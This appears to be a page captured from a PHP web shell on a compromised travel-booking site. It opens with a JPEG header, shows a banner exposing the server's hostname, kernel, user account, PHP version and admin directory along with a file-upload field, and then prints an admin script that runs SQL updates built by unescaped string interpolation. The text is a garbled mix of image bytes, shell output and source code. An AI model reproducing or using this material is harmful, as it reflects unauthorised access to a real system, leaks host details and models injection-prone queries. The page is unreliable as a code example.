ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/ |
Upload File : |
<?php include "../Lib/_common.php"; exit; $sql = "select * from TB_RES_GOOD_OPTION order by ins_dt DESC"; $rs = db_query($sql); while($row = db_fetch_array($rs)) { $sql = "select opid, g_uid from TB_GOOD_OPTION where g_uid='{$row['g_uid']}' and op_nm='{$row['op_nm']}'"; $row2 = db_fetch($sql); if($row['opid'] != $row2['opid'] && $row2) { //db_query("update "); $sql = "update TB_RES_GOOD_OPTION set opid='{$row2['opid']}' where res_no='{$row['res_no']}' and g_uid='{$row['g_uid']}' and opid='{$row['opid']}' and op_nm='{$row['op_nm']}'"; db_query($sql); p($row); p($row2); p($sql); } }